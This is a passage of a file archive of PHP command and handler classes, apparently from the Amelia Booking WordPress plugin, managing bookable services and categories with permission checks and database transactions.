$sortedServicesArray[] = $serviceArray; } } foreach ($sortedServicesArray as $index => $serviceArray) { if ($serviceArray === null) { $sortedServicesArray[$index] = array_shift($customSortedServicesArray); } } $servicesArray = $sortedServicesArray; } $serviceRepository->beginTransaction(); foreach ($servicesArray as $index => $serviceArray) { $serviceRepository->updateFieldById($serviceArray['id'], $index + 1, 'position'); } $serviceRepository->commit(); /** @var SettingsService $settingsService */ $settingsService = $this->getContainer()->get('domain.settings.service'); $settings = $settingsService->getAllSettingsCategorized(); $settings['general']['sortingServices'] = $command->getFields()['sorting']; $settingsService->setAllSettings($settings); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated bookable services positions.'); return $result; } } Commands/Bookable/Service/GetServicesCommandHandler.php 0000666 00000006107 15165412624 0017172 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetServicesCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServicesCommandHandler extends CommandHandler { /** * @param GetServicesCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException */ public function handle(GetServicesCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to read services.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->getContainer()->get('domain.settings.service'); $generalSettings = $settingsService->getCategorySettings('general'); /** @var Collection $services */ $services = $serviceRepository->getFiltered( array_merge( $command->getField('params'), [ 'sort' => $generalSettings['sortingServices'] ] ), $generalSettings['servicesPerPage'] ); /** @var Service $service */ foreach ($services->getItems() as $service) { if ($service->getSettings() && json_decode($service->getSettings()->getValue(), true) === null) { $service->setSettings(null); } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved services.'); $result->setData( [ Entities::SERVICES => $services->toArray(), 'countFiltered' => (int)$serviceRepository->getCount($command->getField('params')), 'countTotal' => (int)$serviceRepository->getCount([]), ] ); return $result; } } Commands/Bookable/Service/AddServiceCommand.php 0000666 00000000570 15165412624 0015460 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class AddServiceCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class AddServiceCommand extends Command { } Commands/Bookable/Service/GetServicesCommand.php 0000666 00000000572 15165412624 0015674 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class GetServicesCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServicesCommand extends Command { } Commands/Bookable/Service/GetServiceDeleteEffectCommandHandler.php 0000666 00000005504 15165412624 0021247 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetServiceDeleteEffectCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServiceDeleteEffectCommandHandler extends CommandHandler { /** * @param GetServiceDeleteEffectCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function handle(GetServiceDeleteEffectCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to read services'); } $result = new CommandResult(); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->getContainer()->get('application.bookable.service'); $appointmentsCount = $bookableAS->getAppointmentsCountForServices([$command->getArg('id')]); $message = ''; if ($appointmentsCount['futureAppointments'] > 0) { $appointmentString = $appointmentsCount['futureAppointments'] === 1 ? 'appointment' : 'appointments'; $message = "Could not delete service. This service has {$appointmentsCount['futureAppointments']} {$appointmentString} in the future."; } elseif ($appointmentsCount['packageAppointments']) { $message = "This service is available for booking in purchased package. Are you sure you want to delete this service?"; } elseif ($appointmentsCount['pastAppointments'] > 0) { $appointmentString = $appointmentsCount['pastAppointments'] === 1 ? 'appointment' : 'appointments'; $message = "This service has {$appointmentsCount['pastAppointments']} {$appointmentString} in the past."; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved message.'); $result->setData( [ 'valid' => $appointmentsCount['futureAppointments'] ? false : true, 'message' => $message ] ); return $result; } } Commands/Bookable/Service/DeleteServiceCommandHandler.php 0000666 00000006060 15165412624 0017470 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class DeleteServiceCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class DeleteServiceCommandHandler extends CommandHandler { /** * @param DeleteServiceCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException * @throws ContainerException */ public function handle(DeleteServiceCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to delete services.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var BookableApplicationService $bookableApplicationService */ $bookableApplicationService = $this->getContainer()->get('application.bookable.service'); $appointmentsCount = $bookableApplicationService->getAppointmentsCountForServices([$command->getArg('id')]); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var Service $service */ $service = $serviceRepository->getByCriteria( ['services' => [$command->getArg('id')]] )->getItem($command->getArg('id')); if ($appointmentsCount['futureAppointments']) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Could not delete service.'); $result->setData([]); return $result; } $serviceRepository->beginTransaction(); if (!$bookableApplicationService->deleteService($service)) { $serviceRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete service.'); return $result; } $serviceRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted service.'); $result->setData([]); return $result; } } Commands/Bookable/Service/DeleteServiceCommand.php 0000666 00000000576 15165412624 0016200 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteServiceCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class DeleteServiceCommand extends Command { } Commands/Bookable/Service/UpdateServicesPositionsCommand.php 0000666 00000000445 15165412624 0020306 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateServicesPositionsCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class UpdateServicesPositionsCommand extends Command { } Commands/Bookable/Service/GetServiceDeleteEffectCommand.php 0000666 00000000443 15165412624 0017746 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class GetServiceDeleteEffectCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServiceDeleteEffectCommand extends Command { } Commands/Bookable/Service/UpdateServiceStatusCommand.php 0000666 00000000612 15165412624 0017413 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateServiceStatusCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class UpdateServiceStatusCommand extends Command { } Commands/Bookable/Service/GetServiceCommand.php 0000666 00000000570 15165412624 0015507 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class GetServiceCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServiceCommand extends Command { } Commands/Bookable/Service/UpdateServiceCommand.php 0000666 00000000576 15165412624 0016220 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateServiceCommand * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class UpdateServiceCommand extends Command { } Commands/Bookable/Service/UpdateServiceStatusCommandHandler.php 0000666 00000004033 15165412624 0020712 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; /** * Class UpdateServiceStatusCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class UpdateServiceStatusCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'status', ]; /** * @param UpdateServiceStatusCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException * @throws QueryExecutionException */ public function handle(UpdateServiceStatusCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to update service.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); $serviceRepository->updateStatusById( $command->getArg('id'), $command->getField('status') ); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated service'); $result->setData(true); return $result; } } Commands/Bookable/Service/AddServiceCommandHandler.php 0000666 00000011076 15165412624 0016761 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Gallery\GalleryApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Bookable\Service\ServiceFactory; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; /** * Class AddServiceCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class AddServiceCommandHandler extends CommandHandler { /** @var array */ public $mandatoryFields = [ 'categoryId', 'duration', 'maxCapacity', 'minCapacity', 'name', 'price', 'providers' ]; /** * @param AddServiceCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException * @throws \AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException */ public function handle(AddServiceCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to add service.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var Service $service */ $service = ServiceFactory::create($command->getFields()); if (!$service instanceof Service) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not create service.'); return $result; } /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var BookableApplicationService $bookableService */ $bookableService = $this->container->get('application.bookable.service'); /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); $serviceRepository->beginTransaction(); /** @var Category $category */ $category = $categoryRepository->getById($service->getCategoryId()->getValue()); if (!$category || !($serviceId = $serviceRepository->add($service))) { $serviceRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not create service.'); return $result; } $service->setId(new Id($serviceId)); /** @var Collection $providers */ $providers = $command->getField('providers') ? $providerRepository->getFiltered(['providers' => $command->getField('providers')], 0) : new Collection(); $bookableService->manageProvidersForServiceAdd($service, $providers); $bookableService->manageExtrasForServiceAdd($service); $galleryService->manageGalleryForEntityAdd($service->getGallery(), $serviceId); $serviceRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new service.'); $result->setData( [ Entities::SERVICE => $service->toArray(), ] ); return $result; } } Commands/Bookable/Category/UpdateCategoriesPositionsCommandHandler.php 0000666 00000004745 15165412624 0022272 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Bookable\Service\CategoryFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; /** * Class UpdateCategoriesPositionsCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class UpdateCategoriesPositionsCommandHandler extends CommandHandler { /** * @param UpdateCategoriesPositionsCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException * @throws InvalidArgumentException */ public function handle(UpdateCategoriesPositionsCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to update bookable categories positions.'); } $result = new CommandResult(); /** @var array $categorized */ $categorized = $command->getFields()['categories']; $categories = []; foreach ($categorized as $category) { $category = CategoryFactory::create($category); if (!$category instanceof Category) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not update bookable categories positions.'); return $result; } $categories[] = $category; } /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); foreach ($categories as $category) { $categoryRepository->update($category->getId()->getValue(), $category); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated bookable categories positions.'); return $result; } } Commands/Bookable/Category/DeleteCategoryCommandHandler.php 0000666 00000007601 15165412624 0020024 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; /** * Class DeleteCategoryCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class DeleteCategoryCommandHandler extends CommandHandler { /** * @param DeleteCategoryCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws NotFoundException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException */ public function handle(DeleteCategoryCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to delete bookable category.'); } $result = new CommandResult(); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var BookableApplicationService $bookableApplicationService */ $bookableApplicationService = $this->getContainer()->get('application.bookable.service'); /** @var Category $category */ $category = $categoryRepository->getById($command->getArg('id')); if (!$category instanceof Category) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete bookable category.'); return $result; } /** @var Collection $services */ $services = $serviceRepository->getByCriteria(['categories' => [$command->getArg('id')]]); $category->setServiceList($services); $categoryServiceIds = []; /** @var Service $service */ foreach ($services->getItems() as $service) { $categoryServiceIds[] = $service->getId()->getValue(); } if ($categoryServiceIds) { $appointmentsCount = $bookableApplicationService->getAppointmentsCountForServices($categoryServiceIds); if ($appointmentsCount['futureAppointments'] || $appointmentsCount['packageAppointments']) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Could not delete category.'); $result->setData([]); return $result; } } $categoryRepository->beginTransaction(); if (!$bookableApplicationService->deleteCategory($category)) { $categoryRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete category.'); return $result; } $categoryRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted bookable category.'); return $result; } } Commands/Bookable/Category/GetCategoriesCommand.php 0000666 00000000423 15165412624 0016346 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class GetCategoriesCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class GetCategoriesCommand extends Command { } Commands/Bookable/Category/GetCategoriesCommandHandler.php 0000666 00000005066 15165412624 0017654 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Collection\AbstractCollection; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; /** * Class GetCategoriesCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetCategoriesCommandHandler extends CommandHandler { /** * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function handle() { $result = new CommandResult(); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var BookableApplicationService $bookableService */ $bookableService = $this->container->get('application.bookable.service'); /** * Get services */ $services = $serviceRepository->getAllArrayIndexedById(); if (!$services instanceof AbstractCollection) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get bookable.'); return $result; } /** * Add services to categories */ $categories = $categoryRepository->getAllIndexedById(); if (!$categories instanceof AbstractCollection) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get bookable.'); return $result; } $bookableService->addServicesToCategories($categories, $services); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved categories.'); $result->setData([ Entities::CATEGORIES => $categories->toArray() ]); return $result; } } Commands/Bookable/Category/UpdateCategoryCommand.php 0000666 00000000425 15165412624 0016543 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateCategoryCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class UpdateCategoryCommand extends Command { } Commands/Bookable/Category/GetCategoryCommand.php 0000666 00000000417 15165412624 0016041 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class GetCategoryCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class GetCategoryCommand extends Command { } Commands/Bookable/Category/AddCategoryCommandHandler.php 0000666 00000007467 15165412624 0017324 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Bookable\Service\CategoryFactory; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ExtraRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; /** * Class AddCategoryCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class AddCategoryCommandHandler extends CommandHandler { protected $mandatoryFields = [ 'name' ]; /** * @param AddCategoryCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException */ public function handle(AddCategoryCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to add category.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var Category $category */ $category = CategoryFactory::create($command->getFields()); if (!($category instanceof Category)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not create category.'); return $result; } /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ExtraRepository $extraRepository */ $extraRepository = $this->container->get('domain.bookable.extra.repository'); $categoryRepository->beginTransaction(); $categoryId = $categoryRepository->add($category); $category->setId(new Id($categoryId)); if ($category->getServiceList() && $category->getServiceList()->length()) { foreach ($category->getServiceList()->getItems() as $service) { /** @var Service $service */ $service->setCategoryId(new Id($categoryId)); $serviceId = $serviceRepository->add($service); /** @var Extra $extra */ foreach ($service->getExtras()->getItems() as $extra) { $extra->setServiceId(new Id($serviceId)); $extraId = $extraRepository->add($extra); $extra->setId(new Id($extraId)); } $service->setId(new Id($serviceId)); } } $categoryRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new category.'); $result->setData( [ Entities::CATEGORY => $category->toArray() ] ); return $result; } } Commands/Bookable/Category/AddCategoryCommand.php 0000666 00000000417 15165412624 0016012 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class AddCategoryCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class AddCategoryCommand extends Command { } Commands/Bookable/Category/GetCategoryCommandHandler.php 0000666 00000005617 15165412624 0017346 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Collection\AbstractCollection; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; /** * Class GetCategoryCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class GetCategoryCommandHandler extends CommandHandler { /** * @param GetCategoryCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetCategoryCommand $command) { $result = new CommandResult(); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** * Get services for category */ $services = $serviceRepository->getByCriteria(['categories' => [$command->getArg('id')]]); if (!$services instanceof AbstractCollection) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get services.'); return $result; } /** * Get category */ $category = $categoryRepository->getById($command->getArg('id')); if (!$category instanceof Category) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get category.'); return $result; } /** * Add services to category */ $category->setServiceList(new Collection()); /** @var Service $service */ foreach ($services->getItems() as $service) { $category->getServiceList()->addItem($service, $service->getId()->getValue()); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved category.'); $result->setData([ Entities::CATEGORY => $category->toArray() ]); return $result; } } Commands/Bookable/Category/DeleteCategoryCommand.php 0000666 00000000425 15165412624 0016523 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteCategoryCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class DeleteCategoryCommand extends Command { } Commands/Bookable/Category/UpdateCategoriesPositionsCommand.php 0000666 00000000453 15165412624 0020764 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateCategoriesPositionsCommand * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class UpdateCategoriesPositionsCommand extends Command { } Commands/Bookable/Category/UpdateCategoryCommandHandler.php 0000666 00000004351 15165412624 0020043 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Category; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Bookable\Service\CategoryFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; /** * Class UpdateCategoryCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class 